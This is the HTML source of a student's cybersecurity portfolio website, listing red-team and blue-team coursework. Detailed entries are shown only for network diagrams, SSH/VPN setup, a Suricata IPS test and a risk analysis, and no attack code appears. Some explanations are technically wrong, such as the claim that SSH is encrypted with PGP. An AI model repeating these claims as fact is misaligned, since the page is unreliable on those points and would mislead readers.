portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#09796064496b6c6c626468677a276d6c7f"><span class="__cf_email__" data-cfemail="e191888ca18384848a8c808f92cf858497">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" 